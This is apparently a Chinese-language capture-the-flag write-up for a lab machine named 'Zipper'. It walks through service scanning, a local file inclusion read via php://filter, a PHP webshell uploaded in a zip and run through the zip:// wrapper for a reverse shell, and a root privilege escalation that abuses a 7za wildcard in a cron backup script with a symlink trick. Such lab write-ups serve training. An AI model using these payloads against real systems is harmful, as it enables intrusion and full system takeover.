Zipper

简介

point 25

Zipper

Difficulty Hard

rated by community Hard

 

实验环境

攻击者 Kali 192.168.45.206

受害者 IP 192.168.241.229  Linux

 

1. 信息收集

收集受害者服务详情

nmap -sV -A 192.168.241.229

22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp open http Apache httpd 2.4.41 ((Ubuntu))

 

FUZZ测试

export URL="http://192.168.241.229/FUZZ"
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt --hc 404 "$URL"
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt --hc 404 "$URL"

2024-04-11_20-06

 

2. 漏洞发掘与利用

查看源代码

2024-04-11_20-07

发现有一个参数file 看情况有可能可以LFI

我们就直接用php://filter

http://192.168.241.229/?file=php://filter/convert.base64-encode/resource=upload

得到base64编码的页面

 

到CyberChef解码

<?php
if ($_FILES && $_FILES['img']) {
    
    if (!empty($_FILES['img']['name'][0])) {
        
        $zip = new ZipArchive();
        $zip_name = getcwd() . "/uploads/upload_" . time() . ".zip";
        
        // Create a zip target
        if ($zip->open($zip_name, ZipArchive::CREATE) !== TRUE) {
            $error .= "Sorry ZIP creation is not working currently.<br/>";
        }
        
        $imageCount = count($_FILES['img']['name']);
        for($i=0;$i<$imageCount;$i++) {
        
            if ($_FILES['img']['tmp_name'][$i] == '') {
                continue;
            }
            $newname = date('YmdHis', time()) . mt_rand() . '.tmp';
            
            // Moving files to zip.
            $zip->addFromString($_FILES['img']['name'][$i], file_get_contents($_FILES['img']['tmp_name'][$i]));
            
            // moving files to the target folder.
            move_uploaded_file($_FILES['img']['tmp_name'][$i], './uploads/' . $newname);
        }
        $zip->close();
        
        // Create HTML Link option to download zip
        $success = basename($zip_name);
    } else {
        $error = '<strong>Error!! </strong> Please select a file.';
    }
}

上传一个php木马

 

之后我们可以使用

PHP ZIP:// RCE 包装器

PHP ZIP:// wrapper for RCE

 

上传后可以下载 用BurpSuite拦截 并修改数据包内容

/index.php?file=  然后拼接上传路径 uploads/upload_1712835201.zip (点击download拦截后能看到)

2024-04-11_20-15

/index.php?file=zip://uploads/upload_1712835201.zip%23shell1

Kali监听木马设置的端口

发送后就能拿到shell

 

3. 后渗透阶段

发现定时任务有特殊条目

2024-04-11_20-19

查看内容

2024-04-11_20-20

 

最后用7za 运行了一串命令

先查看一下/opt/backups/backup.log

2024-04-11_20-21

WildCardsGoingWild

我尝试了一下 直接就是root的密码

提权成功

 

补充

在backup.sh中发现

#!/bin/bash
password=`cat /root/secret`
cd /var/www/html/uploads
rm *.tmp
7za a /opt/backups/backup.zip -p$password -tzip *.zip > /opt/backups/backup.log

root在7za中使用了通配符

 

可以查看下面的文章

https://book.hacktricks.xyz/linux-hardening/privilege-escalation/wildcards-spare-tricks?source=post_page—–b49a52ed8e38——————————–

 

我们来实践一下

cd /var/www/html/uploads
touch @root.txt
ln -s /root/proof.txt root.txt

我们创建一个root.txt 软链接到/root/proof.txt也就是flag文件

 

过一会可以看到root.txt中就有了proof.txt文件的内容

cat root.txt
7bc8c2826738deecbb80e46c333dec12

 

© 版权声明
THE END
喜欢就支持一下吧
点赞12 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片